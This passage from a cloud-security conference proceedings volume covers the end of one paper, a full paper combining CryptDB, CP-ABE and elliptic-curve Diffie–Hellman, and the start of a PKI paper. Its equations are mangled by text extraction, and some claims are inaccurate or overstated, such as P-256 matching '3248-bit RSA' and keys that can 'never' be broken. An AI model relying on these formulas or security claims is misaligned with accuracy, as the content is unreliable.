card like Aadhaar card and separate user secret key. It controls and eliminates
malicious users, attachers, and hackers with the help of centralized logging
mechanism.
This dynamic security method also manages user access permission matrix
method and keeps track of user activities via logging mechanism. This protective
cloud computing environment provides an integrated extensive variety security
solution, which ensures information confidentiality and data integrity.
In this method, protective sharing algorithm together with cryptographic meth-
ods to develop protective and sharing of resources and information in cloud
computing environment [14]. The advanced dynamic authentic security model
adopts multidimensional security architecture in cloud computing environment.

4 Performance and Evaluation

It is noticeable that a huge number of attacks like cross-scripting attacks, phishing

attacks, threats are crashed the confidential data or reducing size, retreating sharing
of services and resources, that would further enlarge the computational and com-
munication expenses of improving services in cloud environment. The experimental
results and analysis of the advanced dynamic authentic security method for
An Advanced Dynamic Authentic Security Method for Cloud Computing 149

reducing various vulnerabilities, attacks in cloud computing environment have been

described as follows.
The main aim is to reduce various attacks, threats, and vulnerabilities in cloud
computing and it should maintain expenditure and standard consistent precision,
which leads to develop and improve the high performance of cloud security
systems.
Figure 4 shows that better audit frequency can be achieved throughout entire
audit cycle by the sampling-based audit, which eliminates the load on the cloud
servers and different attacks, raise the audit effectiveness under different detection
probabilities on proportion of uncertain blocks in the whole file blocks. It supports a
complete integrity verification and reduces computational and communication
expenses of an audit service.
Figure 5 shows the time cost to select the peak-k resources or vulnerable doc-
uments on various sizes among set of resources through top-k select algorithm [15].
For example, it costs 1 ms to select the peak-500 resources or vulnerable files from
a huge deposit of 1000 resources, while it costs 5 ms for the peak-1000 from 5000
resources or vulnerable files. Even though the cost of time is less, there is space for
the decrease in case of huge k.
Figure 6 depicts that the time with respect to the cost of this point is autonomous
to the quantity of enquired words on single or various resources or possible vul-
nerable files.
In order to decrease attacks, vulnerability, risk, threats in a cloud environment of
any organization, present advanced dynamic authentic security method exploits
better and is highly secure to safeguard the information, sharing of services and
resources in the cloud environment. This method still guarantees practical com-
petence with better performance while system robustness and security are notably
improved.

Fig. 4 Audit frequency with

respect to proportion of
uncertain blocks in the whole
file blocks is shown
150 S. Srinivasan and K. Raja

Fig. 5 The time required to

select the peak-k resources or
vulnerable documents on
different resource sets is
shown

Fig. 6 The time needed to

select the peak-k resources or
vulnerable documents for
several quantities of enquired
words is shown

5 Conclusion and Future Work

Obviously, the present growth of cloud computing has quickly increased

day-by-day, but cloud attacks, security, and privacy are still measured and it has
been the most important key concern in the cloud computing. To protect confi-
dential information and sharing of services and resources in cloud environment
against threats and vulnerability a safer cloud environment is required, and there-
fore a suitable advanced dynamic authentic security is proposed for cloud technique
and it should be enforced. This paper deals various security risks and challenges in
terms of privacy, data intrusion, data integrity, data leakage, and confidentiality of
cloud environment. This paper verifies user authentication and authorization
management and keeps track of user activities through logging mechanism. This
An Advanced Dynamic Authentic Security Method for Cloud Computing 151

paper proposes a strong dynamic security structure for cloud environment with
many safety features such as shielding sharing of resources through cryptographic
encryption mechanism with authentication techniques.
Future research on this work will include to develop a better auditing technique
with specific standard interfaces and protocols that can maintain high confiden-
tiality, security, integrity, and to meet more secure protected cloud environment.

References

1. Lin G (2012) Research on electronic data security strategy based on cloud computing. In:
2012 IEEE second international conference on consumer electronics, ISBN:
978-1-4577-1415-3, pp 1228–1231
2. Behl A, Behl K (2012) An analysis of cloud computing security issues. In: 2012 IEEE
proceedings world congress on information and communication technologies, ISBN:
978-1-4673-4805-8, pp 109–114
3. Uma S, Kanika L, Manish M (2011) Implementing digital signature with RSA encryption
algorithm to enhance the data security of cloud in cloud computing. In: 2010 IEEE 1st
international conference on parallel, distributed and grid computing (PDGC—2010), ISBN:
978-1-4244-7674-9, pp 211–216
4. Behl A (2011) Emerging security challenges in cloud computing. In: 2011 IEEE, ISBN:
978-1-4673-0126-8, pp 217–222
5. Chen D, Zhao H (2012) Data security and privacy protection issues in cloud computing. In:
2012 IEEE proceedings of international conference on computer science and electronics
engineering, ISBN: 978-0-7695-4647-6, pp 647–651
6. Garfinkel SL (2007) An evaluation of amazon’s grid computing services: EC2, S3, and SQS.
Technical Report TR-08-07, Computer Science Group, Harvard University, Citeseer, pp 1–15
7. Zhou M, Zhang R, Xie W, Qian W, Zhou A (2010) Security and privacy in cloud computing:
a survey. In: 2010 proceedings of sixth international conference on semantics, knowledge and
grids, ISBN: 978-0-7695-4189-1, pp 105–112, 2010 IEEE
8. Cachin C, Keidar I, Shraer A (2009) Trusting the cloud. ACM SIGACT News 40:81–86
9. RedHat. https://rhn.redhat.com/errata/RHSA-2008-0855.html
10. Xu J, Chang E-C, Towards Efficient Proofs of Retrievability in Cloud Storage, National
University of Singapore Department of Computer Science
11. Bernd G, Tobias (2011) Understanding cloud computing vulnerabilities. In: Co published by
IEEE computer and reliabilities societies, IEEE April 2011, pp 50–57
12. Carroll M, van der Merwe A, Kotz P (2011) Secure cloud computing benefits, risks and
controls. In: 2011 IEEE
13. Denz R, Taylor S (2013) A survey on securing the virtual cloud. J Cloud Comput Adv Syst
Appl 2:17
14. Srinivasan S, Raja K (2014) Security challenges in cloud computing. Int J Emerg Technol
Adv Eng 4(4):01–06, ISSN 2250–2459
15. Yu J, Lu P, Zhu Y, Xue G, Li M (2013) Towards secure multikeyword top-k retrieval over
encrypted cloud data. In: IEEE Trans Dependable Secure Comput 10(4):239–250. July/
August 2013
152 S. Srinivasan and K. Raja

Author Biographies

S. Srinivasan is currently pursuing research at the Bharathiar

University, Coimbatore, Tamil Nadu, India and is also working
as Associate Professor at KCG College of Technology, Tamil
Nadu, India. He received MCA from Bharathidasan University,
India, in 1997 and M.E. from Sathyabama University, India, in
2009. His research interests include cloud computing. He is a
member of CSI, ISTE, and IAENG.

K. Raja received Ph.D. from Sathyabama University, India, in

2006 and M.E. from Madras University, India, in 2001.
Presently, he is the Principal and Dean (Academics) at Alpha
College of Engineering, Tamil Nadu, India. He is a member of
CSI, IEEE, ISTE, IETE, and IAENG. He has published in 25
international journals, 3 national journals, and 54 national and
international conferences. He is a reviewer for national and
international journals. His research interests include cloud com-
puting and knowledge management.
Security in CryptDB Using
Fine-Grained Access Controls
with ECDHE-ZeroVi’s Framework

Krishna Keerthi Chennam, Akka Laskhmi Muddana

and Tahseen Munnavara

Abstract Cloud Computing is a vast technology with high economic benefits, with
low cost, many industries planning to store their information on cloud maintained
by a third party are Third-Party Storage provider (TSP). Sometimes curious or
malicious administrators may leak data in the TSP. CryptDB provides confiden-
tiality works by executing the user SQL queries about encrypted data using Onion
Encryption. Another threat is from cloud users, where they try to secure the systems
against external adversaries with a secured user login and secure end-to-end
encrypted connections. Though, the internal adversaries remain also the biggest
threat from this case. The proposed security method of applying Elliptic Curve
Diffie–Hellman Ephemeral in CP-ABE (Cipher Text Attribute-Based Encryption)
technique for Key Exchange Policy. CP-ABE is a fine-grained access control with
the policy of Attribute Authority (AA) to a user is having Secret Key (SK) based on
the set of character attributes. Elliptic Curve Diffie–Hellman Ephemeral is a
well-known technique in key exchange policy. Combining CP-ABE with Elliptic
Curve Diffie–Hellman Ephemeral is proposed for the ECDHE-ZeroVi’s framework.

Keywords Confidentiality Ciphetext Fine-grained access control




Cloud CryptDB Elliptic curves Diffie–Hellman ephemeral

K. K. Chennam (&)
Gitam University, Computer Science Engineering, Hyderabad, Telangana, India
e-mail: [email protected]
A. L. Muddana
Gitam University, Information Technology, Hyderabad, Telangana, India
e-mail: [email protected]
T. Munnavara
M.J.C.E.T, Information Technology, Hyderabad, Telangana, India
e-mail: [email protected]

© Springer Nature Singapore Pte Ltd. 2018 153

M. U. Bokhari et al. (eds.), Cyber Security, Advances in Intelligent Systems
and Computing 729, https://doi.org/10.1007/978-981-10-8536-9_16
154 K. K. Chennam et al.

1 Introduction

A legal agreement which stores data in public clouds, hybrid cloud, or community
cloud give the advantage of TSP and may change the data on demand, where the
cost of TSP is reduced control on data security. TSP is an untrusted environment.
Traditional access controls are not suitable for the TSP-hosted database. The major
target is to provide security in untrusted domains. Since different clients may have
different queries, the access to the data must be based on individual and for par-
ticular authorized clients. A basic common method to protect the data onto the
cloud environment is encryption before sending it from trusted environment.
Traditional data encryption requires a single key or pair of keys to encrypt or
decrypt the data. The database requires a key separately for each cell (means each
column in a row) using fine-grained access, to generate the key or to store the key
or to manage keys require a trusted key store.
Another approach is to decrypt all protected data cells with a single key or a key
pair. CryptDB has two threats: First threat, the adversary wants to get access to the
DBMS server and trying to snoop on private data onto the cloud. The DB
administrator is not a trusted one. To prevent this, Onion Encryption is giving
security on Cloud, where the data stored in Onion Encryption given in [1].
Second Threat is decrypting the data onto proxy servers the authenticated user
and transferring data there is no guarantee of internal adversaries or logged in users.
The framework ECDHE-ZeroVi’s propose the use of CP-ABE with Elliptic Curves
Diffie–Hellman Ephemeral to control access to data based on the data consumer
attributes. Data consumers with attributes that can satisfy the policy and has
authorized key to decrypt data (Fig. 1).
Two goals for these threats: the First one is executing a different number of
queries with a reduced amount of secured information revealed to the cloud server.
Another one data should be encrypted with perfect and strong crypto systems
with AES that avoids the cloud server by executing many SQL queries. To solve
this case practically, the server needs to access the decryption key, and the
adversary may access all data.

Fig. 1 CryptDB architecture [1]

Security in CryptDB Using Fine-Grained Access Controls … 155

Another challenge is to reduce data leaking when adversaries compromise the

application server along with cloud servers. Even if application server is comprised
and leaks the data then adversary will get the original data to over this problem a
solution is by generating separate encryption key for each user for to retrieve data.
CryptDB using ECDHE-Zero framework has different key ideas.
– First one is executing SQL Queries on encrypted data. CryptDB implements this
as discussed in [1], where all different SQL Queries like operators, comparisons,
sums, and equi joins. CryptDB uses symmetric-key encryption on the DBMS
software with the user-defined functions.
– The second technique is to avoid the leakage from DBMS server or Cloud
Server using Onion Encryption implemented in [1], where Onions have com-
pactly stored a variety of ciphertext with Database and reduces the cost on
re-encryptions.
– Third technique is providing the chain of keys to user passwords, where the keys
are produced based on ECDHE (Elliptic Curves Diffie–Hellman Ephemeral).
The Database can be decrypted with the help of pair or chain of keys rooted to
the password with the users to access the data. If the user has not logged in
application and adversary does not know the password and secret key where
public key is provided by the ECDHE and cannot decrypt the user’s private
data, even by the internal adversaries or by External adversaries. At the end, the
DBMS or Cloud Server and application Server are fully compromised for
leakage of Data.

2 Related Work

The ECDHE-ZeroVi’s frameworks relates to searchable encryption and encrypted

distributed key management. Sending secured transmission [5] is proposed in
Broadcast encryption. Elliptic curve Diffie–Hellman Ephemeral is a different key
agreement protocol; where this allows two parties to exchange, have elliptic curve
public–private key allowing data access insecure channel.
The first proposed encryption to solve the problem in transferring data in a
secure way from one site to any different recipients is Broad Cast Encryption [5].
Similarly extending [5] the work, increasing scalability [7, 8] and ABE
(Attribute-Based Encryption) technique is used with high utility.
ABE [6] addresses the encryption problem for arbitrary number of recipients’.
ABE extension work proposed by Goyal to Identity-Based Encryption in [4] by
using access policy with attributes of non-distinct identities for encrypting and
decrypting the data. The two important methods in ABE are CP-ABE (Cipher Text
Attribute-Based Encryption) and KP-ABE (Key Policy Attribute-Based
Encryption). The KP-ABE set securely the access policy and secret key of user
[6]. KP-ABE gives control to whom can access or to decrypt data [2], where
156 K. K. Chennam et al.

CP-ABE embedded the access policy in cipher text [3] and CP-ABE secures that
the owner who encrypts the data have full control and have information about the
descriptors’ [3]. CP-ABE generates the secret key to the user to allow the data
access and data decryption when the subset of attributes are matched according to
the cipher policy. Still the CP-ABE and KP-ABE both are semi-trusted techniques.
Their proposed frame work includes the Multi-Authority ABE (MA-ABE) allows a
different attribute authority with a different data need to generate the secret keys for
user to decrypt the data based on different attribute sets.
CryptDB [1] is software that can access the encrypted data stored in cloud
database and each encrypted column in tables are stored using different encryption
algorithms. CryptDB works by executing SQL Queries over encrypted data on
cloud database server. The database administrator never gets decrypted data access.
But the CryptDB cannot provide one too many encryptions.
Our proposed framework approach builds on selected concepts from above and
provides data security for the data provider with better efficient access control and
overcome the problems from distributed access control. Elliptic Curve Crypto
Protocol [17]: An equation shown below is a solution for an elliptic curve.

y2 þ axy þ by ¼ x3 þ cx þ dx þ e ð1Þ

where a, b, c, d, e are real numbers.

The intrusion point O and elliptic curve addition operation is called as point at
infinity. If any three points are intersecting line on elliptic curve, then amount is
equal to point at infinity O.
Weierstrass equation is

y2 þ a1 xy þ a3 y ¼ x3 þ a2 x2 þ a4 x þ a6 ð2Þ

K is and arbitrary constant and a1, a2, a3, a4, a6 are constants in K
To use elliptic curves in cryptography the main constraint is that the curve is
nonsingular.

f ðxÞ ¼ x3 þ ax þ b : 4a3 þ 27b2 6¼ 0 ð3Þ

The two elliptic curves shown in Figs. 2 and 3 are

y2 ¼ x3 þ 2x þ 5 ð4Þ

y2 ¼ x3  2x þ 1 ð5Þ

Equations (4) and (5) should meet now. An elliptic group the Galois Field Ep (a,
b) with x3 + ax + b mod p for 0  x  p where a and b are positive integers, but
less than p where mod p substitutes as in Eq. (3).
Security in CryptDB Using Fine-Grained Access Controls … 157

Fig. 2 Elliptic curve for

y2 = x3 + 2x + 5 [17]

Fig. 3 Elliptic curve for

y2 = x3 - 2x + 5 [17]
158 K. K. Chennam et al.

4a3 þ 27b2 mod p 6¼ 0

A fixed prime numbers p with Galois Field Ep (a, b) group for a and b non-
variable constants.
Example: Let us assume the points P = (x1, y1) and Q = (x2,y2) in elliptic curve
group Ep (a, b) and O is the point at infinity.
Addition rules of Elliptic group Ep (a, b) are
(1) P + O = O + P = P
(2) If x2 = x1 and y2 = −y1 means P = (x1, y 1) and Q = (x2,
y2) = (x1 − y1) = −P then P + Q = O
(3) If Q 6¼ −P then P + Q = (x3, y3)
Where x3 = k − x1 − x2 mod p

y3 ¼ kðx1  x3 Þ  y1 modp

Diffie–Hellman Key Exchange: A secret communication like personal data or

important data by exchanging over a public channel familiar for this is
Diffie–Hellman Key Exchange. Figure 4 shows the general idea of key exchange by
colors example instead of a large prime number.

Fig. 4 Key exchange Mr.X Mr.Y

Security in CryptDB Using Fine-Grained Access Controls … 159

The key is exchanged between Mr. X and Mr. Y with mixed colors. At the end
the secret key is generated to encrypt and decrypt. Let us assume that yellow color
is known by Mr. X and Mr. Y on agreement as shown in the figure.

3 Problem Definition: ECDHE

Initially, RSA-RC4-SH4 were used, the client randomly selects a secret key and
encrypts and send it to server whoever have the secret key can decrypt the data at
any time. If the adversary got the secret key while sharing they can decrypt the data
ECDHE-ZeroVi means elliptic curve, Diffie–Hellman Ephemeral signed by RSA
key with zero visibility of adversaries with CP-ABE. Where Diffie–Hellman
Ephemeral means server generates a different public key for every new query
requested by the client even though the adversaries breaks one public key can get
decrypt of only one query related data and already the tables are secured Onion
Encryption by CryptDB. The Elliptic curve using (P-256) is almost equal with
3248-bit RSA key so the adversary will ever never can break the key.
Proposed Performance:
Let E is an elliptic curve over the finite filed Fp is given in the following form:

Y 2 ¼ X 2 þ aX þ b;
a; b  F p andð4a3 þ 27b2 Þ 6¼ 0

As discussed above when Mr. X and Mr. Y agree on a key (Yellow Color) then
they first fix a finite field Fq, an elliptic curve E and base point B
E (with high
order). To generate key first Mr. X chooses a random number a € Fq and keep it as
secret. Next Mr. X calculates aB € E is a public and shares with Mr. Y. Where he
also performs same steps and calculates bB and shares with Mr. X. Their secret
common key is P = abB
E
Definition: An elliptic curve E over the field F is a smooth curve.

Y 2 þ a1 XY þ a3 Y ¼ X 3 þ a2 X 2 þ a4 X þ a6 ; ai  F
EðFÞ is a set of points; ðx; yÞ F 2 satisfies point at infinity O:

Using ECDHE a secret key is shared between X and Y, with agreement on

Elliptic Curve parameters, where X and Y have the key pair contains a Secret
Key SK (Selected integer randomly less than n and where n is the order of curve)
and Public Key PK = SK * G (Where G is generate point). Let (SKX, PKX) be the
private public key pair of X and (SKY, PKY) be the private public key pair of Y.
1. The end X computers KEYX = (AX, BX) = SKX * PKY
2. Compute KEYY = (AY, BY) = SKY * PKX
160 K. K. Chennam et al.

3. Since SKX * PKY = SKXSKYG = SKYSKXG = SKY*PKX

Therefore KEYX = KEYY and AX = BY
4. The Secret Key shared is KEYX which is practically impossible to find the
private key SKX or SKY from the Public Key KEYX.
As shown in Fig. 5, the proposed approach is to reduce the identified problems
with the proposed framework, access the data by multiple data consumers for stored
data in untrusted environment and without decrypting the data in cloud by CryptDB
and CP-ABE where the security providing for the login users by providing key pair
with Elliptic Curve Diffie–Hellman Ephemeral policy by transferring public key
and from the public key users get the Secret Key. The core of framework is the
ECDHE-ZeroVi’s proxy that is responsible for encrypting the data and queries and
decrypting query results. Data Provider submits the data with access policy through
ECDHE ZeroVi’s framework which encrypts the data CP-ABE and the key pro-
duced through ECDHE and Searchable encryption and stores the encrypted data in
Cloud Server (Fig. 6).
Data Consumer requests a query along with the Secret Key that is generated
from Elliptic Curve Diffie–Hellman Ephemeral through the ECDHE-ZeroVi’s
proxy which encrypts the query. The Cloud Server encrypted results of the query to
the ECDHE-ZeroVi’s proxy which decrypts the results and gives the decrypted data
to the data consumer. The proposed framework depends on Attribute Authority
(AA) to supply the authenticated attributes for authenticated users and avoid
adversaries from requesting queries with the proposed framework. Any user can
request the query to the cloud server; no user can decrypt the data without AA by

Trusted Environment Un Trusted Environment

Insert
Data
Data Data Cloud
Encrypted
Provider Encrypted Server
Data/
ECDHE CryptDB Proxy Query
– ZeroVi’s Server
Frame Work
Data
Provider TSP

Data Encrypted
consumer Data
Plain
Authentication Query/
Decrypted Proxy DB

Fig. 5 ECDHE-ZeroVi’s with CP-ABE architecture

Security in CryptDB Using Fine-Grained Access Controls … 161

Login Authen- CP-ABE

Start tication

KEY PAIR
DP DC
Diffie-Hellman Prime Random
ECDHE Key Exchange EC (P-256)
Number Generator
Encryptor
Query Encrypted
Data

Onion Key Manager

DBMS Server
(Encrypted Ta-
Crypt DB Server bles)

Fig. 6 Flow diagram of the proposed architecture

CP-ABE and key pair (SK, PK) by ECDHE. And even though the adversaries
attack and break the key the adversaries can see the data which is related to query
because the data stored in Cloud Server is encrypted using Onion Encryption where
it gives high protection layers through Onion Encryption.

4 Conclusion and Future Work

In this paper, a privacy-preserving and secure information sharing scheme in cloud

computing by exploiting CP-ABE and consolidating it with method of Elliptic
Curve Diffie–Hellman Ephemeral Key Exchange in CryptDB server. The Diffie–
Hellman Ephemeral is the key exchange cryptosystem that involves a secret key, by
using Elliptic Curve Cryptography for Encryption and Decryption and CP-ABE
used for user authentication. The proposed scheme guarantees fine-grained data
access control, retrogressive secrecy and security against the collusion of users with
the cloud and supports client expansion, denial, and characteristic alterations.
Besides, proposed scheme does not unveil any elements of users to the cloud and it
keeps the privacy of the users away from the cloud. Likewise, access the execution
of the proposed scheme about computation complexity. The proposed scheme when
implemented gives better performance in Database Query time when compared
with the works included in [2] and there are no eavesdropping as the result given to
the consumer is encrypted form.
162 K. K. Chennam et al.

References

1. Popa RA, Redfield CMS, Zeldovich N, Balakrishnan H (20111) Cryptdb: protecting

confidentiality with encrypted query processing. In: Proceedings of the twenty-third ACM
symposium on operating systems principles, SOSP 2011, ACM, New York, pp 85–100
2. Solomon MG, Sunderam V, Xiong L (2014) Towards secure cloud database with fine-grained
access control. In: Department of Mathematics & Computer Science Emory University
Atlanta, Georgia 30322, USA
3. Bethencourt J, Sahai A, Waters B (2007) Cipher text-policy attribute-based encryption. In:
IEEE symposium on security and privacy, IEEE Computer Society, pp 321–334
4. Boneh D, Franklin M (2001) Identity-based encryption from the weil pairing. In: Kilian J
(ed) CRYPTO 2001, vol 2139. LNCS. Springer, Heidelberg, pp 213–229
5. Fiat A, Naor M (1994) Broadcast encryption. In: Stinson DR (ed) CRYPTO 1993, LNCS, vol
773, Springer, Heidelberg, pp 480–491
6. Goyal V, Pandey O, Sahai A, Waters B (2006) Attribute-based encryption for fine grained
access control of encrypted data. In: Proceedings of the 13th ACM conference on computer
and communications security, CCS 2006, ACM, New York, pp 89–98
7. Kim J, Susilo W, Au MH, Seberry J (2014) Efficient semi-static secure broadcast encryption
scheme. In: Cao Z, Zhang F (eds) Pairing 2013, vol 8365. LNCS. Springer, Heidelberg,
pp 62–76
8. Phan D-H, Pointcheval D, Shahandashti SF, Strefler M (2013) Adaptive cca broadcast
encryption with constant-size secret keys and ciphertexts. Int J Inf Secur 12(4):251–265
9. Armbrust M et al (2009) Above the clouds: a berkeley view of cloud computing [Technical
report]. EECS Department, University of California, Berkeley
10. Arrington M (2006) Gmail disaster: reports of mass email deletions.http://www.techcrunch.
com/2006/12/28/gmail-disasterreports-ofmassemail-deletions
11. Erway C et al (2009) Dynamic provable data possession. In: Proceedings of the 16th ACM
conference on computer and communications security (CCS). ACM, pp 213–222
12. Boneh D et al (2005) Hierarchical identity based encryption with constant size cipher text. In:
Advances in cryptology eEUROCRYPT, Springer
13. Ostrovsky R (2007) Attribute-based encryption with non-monotonic access structures. In:
Proceedings of the 14th ACM conference on computer and communications security (CCS),
pp 195–203
14. Samarati P, De Capitani di Vimercati S (2010) Data protection in outsourcing scenarios:
issues and directions. In: Proceedings of the 5th ACM Symposium on information, computer
and communications security (ASIACCS). ACM, pp 1–14
15. Lewko A, Waters B (2011) Decentralizing attribute-based encryption. In: Advances in
cryptology EUROCRYPT. Springer, pp 568–588
16. Difo M (2012) Diffie-Hellman and its application security policies, IJESIT
17. Neha J, Brajesh P (2012) Forward secrecy for Google HTTPS using elliptic curve
Diffie-Hellman key exchange algorithm. Int J Adv Res Comput Eng Technol (IJARCET) 1(9)
November 2012
18. Ciphertext-policy attribute-based encryption: an expressive, E_cient, and provably secure
realization: Brent Waters: University of Texas at Austin
Security in CryptDB Using Fine-Grained Access Controls … 163

Author Biographies

Krishna Keerthi Chennam obtained Bachelor's degree in

computers science engineering from JNTU, Hyderabad in 2005,
received the Masters Degree in Embedded Systems from
JNTUH, in 2012 and pursuing Ph.D. in CSE from Gitam
University, Hyderabad campus. Research interests include Cloud
Computing, Cloud security. Currently working as Assistant
Professor in Computer Science & Engineering Department at
Muffakham Jah College of Engineering & Technology,
Banjarahills, and Hyderabad.

Dr. M. Akka Lakshmi received Ph.D. from Osmania University

in 2008. Her research focus in Network Security, Cloud
Computing, Cloud Security, Big Data. She is presently working
as Professor and IT-HOD in Gitam University, Hyderabad
Campus. She is the author of several research papers in the area
of Network Security and Cloud computing.

MunavvaraTahaseen working as Asst. Prof. in MJCET,

Hyderabad.
Mitigating Cloud Security Threats
Using Public-Key Infrastructure

Disha H. Parekh and R. Sridaran

Abstract Cloud computing is a very huge entity, as a technology, in recent era,

evolving at a very rapid pace. There is a wide progress from mainframe computers
toward the client/server infrastructures, including cloud computing deployment
models with rudiments from autonomic computing, grid computing, and utility
computing. This transition has brought tremendous effects on areas of information
security and communications. These effects are majorly viewed positively, but there
are some critical issues to be concerned. Due to this major transition toward cloud,
various risks and challenges, identified and unidentified, have been discovered
weakening the traditional security approaches. For this reason, that paper is aimed
twofold: First to evaluate the requirements for cloud security and second is to
propose a viable solution which would eradicate major potential threats. The model
introduced in this paper will help to demolish network-related threats that arise due
to trusted third party. The proposed solution will also enhance cryptography with
Public-Key Infrastructure and helps in mitigating security threats. The solution
presents a broad way of trusting services that realizes any security threats.

Keywords Cloud computing security Confidentiality Integrity




Availability Trusted third party Information security Public-key




infrastructure Mitigating security threats RD model Scramble



Unscramble AES DES 3DES

D. H. Parekh (&)
R. Sridaran

Faculty of Computer Applications, Marwadi Education Foundation’s
Group of Institutions, Rajkot, Gujarat, India
e-mail: [email protected]
R. Sridaran
e-mail: [email protected]
D. H. Parekh
Computer Science Department, Bharathiar University, Coimbatore, Tamilnadu, India

© Springer Nature Singapore Pte Ltd. 2018 165

M. U. Bokhari et al. (eds.), Cyber Security, Advances in Intelligent Systems
and Computing 729, https://doi.org/10.1007/978-981-10-8536-9_17
166 D. H. Parekh and R. Sridaran

1 Introduction

Computing has bloomed and expanded horizontally and vertically with lots of
innovations in the field. There has been a wavy graph with a nudge in the infor-
mation and communication age. The computing era initiated with mainframe
computers, traversing toward minicomputers to personal computers later and now
we have reached to the most noteworthy era, i.e., cloud computing era. Cloud
computing services are offered by identified Cloud Service Providers (CSP) across
the globe. The CSP is considered to be simply an extension from Internet Service
Provider (ISP) and Application Service Provider (ASP). At the very initial level,
ISP 1.0 was implemented where Internet was provided locally to the institute. Later
it got transformed to ISP 2.0 and ISP 3.0, where now the Internet services were
available globally and users were able to connect with telecommunications and
other service providers thru associated data centers. These further got evolved to
ASP (ISP 4.0), where not only the computing infrastructure but also specialized
applications were provided with a greater ease. But considering the problem of ASP
where only dedicated infrastructures were implemented, a newer version of ISP,
ISP 5.0, called CSP got evolved, where the computing infrastructure along with
applications are available on a shared basis. Cloud computing characterizes a model
transition—a transfer from product-based computing to a service orientated com-
puting [1]. The US National Institute of Standards and Technology has defined that
cloud computing is a technology that facilitates well-situated, need-based network
admission to a communal group of computing resources, e.g., servers, networks,
applications, and offerings that can be quickly given and free with negligible
management attempt or service supplier interaction [2]. The cloud encourages ease
of use and is collected of five necessary distinctiveness, three delivery models, and
four deployment models [3]. Services offered by cloud computing are supplied with
dynamism to the customer who owns their data on cloud. As per their demand and
their need, the customer can easily access the data from cloud, as it is shared across
the network, from any location at a very high speed. Apart from this, cloud also
provides a very greater space for each individual to store data. Its benefits like
multi-tenancy, i.e., sharing of resources at the network level, high scalability,
elasticity, and pay-as-you-go facility have made cloud computing a promising and
swiftly budding model.
These elementary taxonomies are usually known as the “SPI Model”, where it
stands for Software services, Platform services, and Infrastructure services
respectively [4].

• Software as a Service (SaaS)

An application hosted for its clients and who can use the services offered via the
Internet is generally what SaaS does. A customer does not sustain or support the
software; rather the software provider will only take care of its support and
maintenance. Moreover, customers do not make any upgradation in the software
Mitigating Cloud Security Threats … 167

and do not require integration of other systems also. The provider only does the
patching and necessary improvements. SaaS provides clients with network-based
access to the commercially available software which is kept centrally.

• Platform as a Service (PaaS)

The second type of delivery model is PaaS, which supplies the necessary resources
that are required to create applications and offerings online, with no need of
downloading or installing any software. It includes services like the integration of
web services, integration of database, scalability, protection, designing, testing,
deployment, and hosting.

• Infrastructure as a Service (IaaS)

The last service model, IaaS, is the succeeding kind of service in which the
hardware or the computing infrastructure is provided to the clients to put their data
or applications on network. The infrastructure provided can be scaled up and down
on demand, dynamically. Additionally, it even provides the feature of multi-tenancy
on the same infrastructure. It is in other terms also known as Hardware as a Service
(HaaS).
Regardless of the above service models exploited, there are four models that are
deployed and implemented for cloud with derived disparities which need address
specific requirements.

• Public Cloud
In this type of cloud, the service is obtainable by the general public or to any bigger
organization. The cloud provided, is usually under the ownership of an organization
that sells cloud services.

• Private Cloud
Over here, the cloud is open only to the single client, or a solitary organization.
These types of cloud can be supervised either by the organization or any third party.
It varies in 2 different forms, i.e., off-premise and on-premise. In off-premise, the
cloud used is generally managed by any third party while in on-premise; the cloud
is managed and owned by the organization that uses it.

• Community Cloud
In community cloud, the cloud is mutually used in numerous organizations and it
supports an explicit community that has shared anxieties. It could be under the
supervision of the organizations or of an intermediate party and may be situated
on-premise or off-premise.
168 D. H. Parekh and R. Sridaran

• Hybrid Cloud
This cloud is a combination of more than one cloud, i.e., private, public, or com-
munity which will exist as exclusive entities but are leaped mutually by the pro-
prietary skill that allows data and application transportability.
The cloud computing security and related work done on security issues with
either encryption technique or cryptography is mentioned in the first half. The next
part describes the needs for cloud computing security with respect to
Confidentiality, Infrastructure, and Availability (CIA) is discussed. This paper has
also proposed a model that shows the use of DES algorithm in encrypting and
decrypting process but involving scrambler and unscrambler. The proposed model
ensures all major needs that cloud security requires. It enhances integrity assurance
and confidentiality as well as the availability of data on cloud.

2 Related Work

It is observed that a large amount work has been carried out in the vicinity of cloud
security. A major portion of the work focuses on the reliability verification the
saved data in the cloud. Tangowan et al. [6] have depicted cloud computing security
anxieties that are specifically related to security of data and privacy-based guard
issues which has remained as a chief restraint for the implementation of services
provided by cloud computing. They have offered with summarizing but thorough
analysis on data security and privacy protection issues. But the disadvantage is that
it does not show any practical implementation of the security policy or mechanism.
Somani et al. [7] state that in cloud computing problems like data security, file
system, backup, and host security persists to a greater extent. They have projected a
notion of the digital signature with the use of RSA algorithms to encrypt the
sensitive data while shifting it over the network. This technique has tried to solve
the problem of authentication and confidentiality. But as observed, the problem of
integrity still persists.
Similarly, Rafique et al. [8] have shown a secure data transfer based on identity
in cloud using a method called Group Digital Signature (GDS). In this, a group
manager will commune with the service giver by using a secret key that will get
produced by the Diffie–Hillman key exchange algorithm. Group manager obtains
the member public key of all the users in the group. The user in the group sends the
data to the cloud server and will sign the message with the assigned (d, n) private
key. This message is acknowledged by the group manager who authenticates the
group member and then gathers the necessary detail and further attaches the secret
group id and sign and sends it to the cloud provider. Cloud provider will authen-
ticate the message and will allow the encrypted message to be stored in private
cloud. But as observed, one needs to trust the group manager, which might not be
feasible at every instance [5].
Mitigating Cloud Security Threats … 169

Moreover, Fernandes et al. [9], has shown in their paper that security related to
data in the cloud can be assured with the use of digital signature with help of
CFX_MF algorithms. In this digital signature is used for the verification and
non-repudiation of the message, where the uniqueness of sender and the reliability
of the message are preserved. According to the paper, the integrity check over the
cloud computing is performed by an intermediate party which inspects the data
from client and hauls out the request of unauthorized user. Some researchers do not
trust the third party as there is no guarantee of mutual and equal trust.
After surveying various papers, and flaws with the usage of encryption tech-
niques in the papers, this paper is aimed to focus on guaranteed cloud security
model. This model will use Data Encryption Standard (DES) algorithm with
scrambling and unscrambling of data and is also ensuring the mechanism to assure
data integrity and authentic data availability at the end once the encrypted data is
decrypted.

3 Cloud Computing Security

Securing data on the web involves recognizing exceptional threats and challenges
which necessarily has to be attended with greater impact by applying proper
countermeasures. Eventually, the required security services and controls are set up
with the typical systems engineering procedure in order to efficiently amalgamate
the defense controls with the information systems practical and equipped require-
ments, plus other significant system requirements like reliability, maintainability,
and supportability [10]. Usually, the architecture of cloud computing provides a
single data center for data storage and computation [11]. There can be various
security benefits in utilizing the cloud environment. But, a single malfunctioning
